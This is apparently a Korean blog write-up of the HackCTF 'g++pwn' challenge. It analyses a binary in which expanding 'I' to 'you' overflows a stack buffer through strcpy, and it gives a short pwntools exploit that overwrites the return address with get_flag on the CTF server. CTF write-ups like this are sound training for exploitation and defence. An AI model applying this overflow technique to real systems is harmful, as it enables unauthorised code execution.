[Hack CTF - g++pwn]
Wargmae/HackCTF

[Hack CTF - g++pwn]

728x90

 

 

Execute

 

파일 실행

입력을 받고 so문자열에 이어서 입력한 값을 출력해주는 형태의 프로그램이다.

 

 


 

 

Analyze

 

mitigation

Nx bit만 걸려있는 것을 확인 할 수 있다.

 

Main

 

main 함수

누가봐도 수상한 함수인 vuln함수를 호출하고 이외에는 별다른 동작을 하지 않는다.

 

Vuln

 

vuln함수

해당 함수에서는 fget을 통해 먼저 입력을 받는데  s변수의 위치가 ebp-3C인데 32byte만큼 입력 값을 제한하기 때문에 buffer overflow를 일으킬 수 없다. 하지만 아래쪽에서 Iyou로 바꿔주는 루틴을 수행하는데 이를 이용하면 strcpy에서 v0에 있는값을 s로 복사 할 때 길이에대한 검증을 하지 않기 때문에 buffer overflow를 트리거 할 수 있을 것이다.

get_flag함수

Get_flag함수가 존재 하므로 해당 함수로 return address를 덮어 쓰면 될것이다.

 

 


 

 

Solve

 

먼저 앞에서 언급하였듯이 I를 입력하는 것은 dummy 3byte를 입력한 것과 동일하다. S변수가 ebp-3C에 위치하므로 dummy60개 이다. 또한 sfp가 존재하기 때문에 추가로 4byte가 필요하다. 결과적으로 payload는 아래와 같다.

 

I*20+sfp+get_flag

 

 

Exploit을 작성해보자.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3011)
get_flag=0x08048f0d

payload=b"I"*20+b"a"*4+p32(get_flag)

p.sendline(payload)
p.interactive()

 

 

 

성공적으로 flag를 얻을 수 있다. 비교적 매우 쉬웠던 것 같다.

728x90

'Wargmae > HackCTF' 카테고리의 다른 글

[Hack CTF - RTL_core]  (0) 2021.01.16
[Hack CTF – poet]  (0) 2021.01.15
[Hack CTF - RTL_World]  (2) 2021.01.10
[Hack CTF - yes or no]  (0) 2021.01.09
[Hack CTF - BOF_PIE]  (0) 2021.01.09